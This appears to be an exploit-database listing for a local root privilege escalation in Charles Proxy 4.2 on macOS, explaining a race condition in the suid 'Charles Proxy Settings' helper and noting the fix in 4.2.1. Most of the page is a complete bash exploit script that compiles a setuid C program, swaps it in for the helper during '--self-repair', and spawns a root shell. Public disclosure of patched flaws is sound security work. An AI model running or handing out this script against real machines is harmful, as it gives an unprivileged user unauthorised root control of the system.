header-logo
Suggest Exploit
vendor:
Charles
by:
m4rkw
7.2
CVSS
HIGH
Race Condition
362
CWE
Product Name: Charles
Affected Version From: Charles 4.2
Affected Version To: Charles 4.2.1
Patch Exists: YES
Related CWE: N/A
CPE: a:charles:charles:4.2
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: macOS
2017

Charles Proxy Local Root Privilege Escalation Exploit

Charles Proxy is a great mac application for debugging web services and inspecting SSL traffic for any application on your machine. In order to inspect the SSL traffic it needs to configure the system to use a proxy so that it can capture the packets and use its custom root CA to decode the SSL. Setting a system-wide proxy requires root permissions so this is handled by an suid binary located within the Charles application folder. Unfortunately this binary is vulnerable to a race condition which allows a local user to spawn a root shell. It supports a parameter '--self-repair' which it uses to re-set the root+suid permissions on itself, with a graphical dialog shown to the user. However if this is called when the binary is already root+suid then no password dialog is shown. It doesn't validate the path to itself and uses a simple API call to get the path to the binary at the time it was invoked. This means that between executing the binary and reaching the code path where root+suid is set there is enough time to replace the path to the binary with an alternate payload which will then receive the suid+root permissions instead of the Charles binary.

Mitigation:

The issue was fixed in Charles 4.2.1 released in November 2017.
Source

Exploit-DB raw data:

Charles Proxy is a great mac application for debugging web services and
inspecting SSL traffic for any application on your machine.

In order to inspect the SSL traffic it needs to configure the system to use a
proxy so that it can capture the packets and use its custom root CA to decode
the SSL.

Setting a system-wide proxy requires root permissions so this is handled by an
suid binary located within the Charles application folder:

/Applications/Charles.app/Contents/Resources/Charles Proxy Settings

Unfortunately this binary is vulnerable to a race condition which allows a local
user to spawn a root shell. It supports a parameter "--self-repair" which it
uses to re-set the root+suid permissions on itself, with a graphical dialog
shown to the user. However if this is called when the binary is already
root+suid then no password dialog is shown.

It doesn't validate the path to itself and uses a simple API call to get the
path to the binary at the time it was invoked. This means that between executing
the binary and reaching the code path where root+suid is set there is enough
time to replace the path to the binary with an alternate payload which will then
receive the suid+root permissions instead of the Charles binary.

This issue was fixed in Charles 4.2.1 released in November 2017.

https://m4.rkw.io/charles_4.2.sh.txt
2f4a2dca6563d05a201108ec6e9454e2894b603b68b3b70b8f8b043b43ee9284
-------------------------------------------------------------------------------
#!/bin/bash

####################################################
###### Charles 4.2 local root privesc exploit ######
###### by m4rkw - https://m4.rkw.io/blog.html ######
####################################################

cd
user="`whoami`"

cat > charles_exploit.c <<EOF
#include <unistd.h>
int main()
{
  setuid(0);
  seteuid(0);
  execl("/bin/bash","bash","-c","rm -f \"/Users/$user/Charles Proxy Settings\"; /bin/bash",NULL);
  return 0;
}
EOF

gcc -o charles_exploit charles_exploit.c
if [ $? -ne 0 ] ; then
  echo "failed to compile the exploit, you need xcode cli tools for this."
  exit 1
fi
rm -f charles_exploit.c

ln -s /Applications/Charles.app/Contents/Resources/Charles\ Proxy\ Settings
./Charles\ Proxy\ Settings --self-repair 2>/dev/null &
rm -f ./Charles\ Proxy\ Settings
mv charles_exploit Charles\ Proxy\ Settings

i=0

while :
do
  r=`ls -la Charles\ Proxy\ Settings |grep root`
  if [ "$r" != "" ] ; then
    break
  fi
  sleep 0.1
  i=$((i+1))
  if [ $i -eq 10 ] ; then
    rm -f Charles\ Proxy\ Settings
    echo "Not vulnerable"
    exit 1
  fi
done

./Charles\ Proxy\ Settings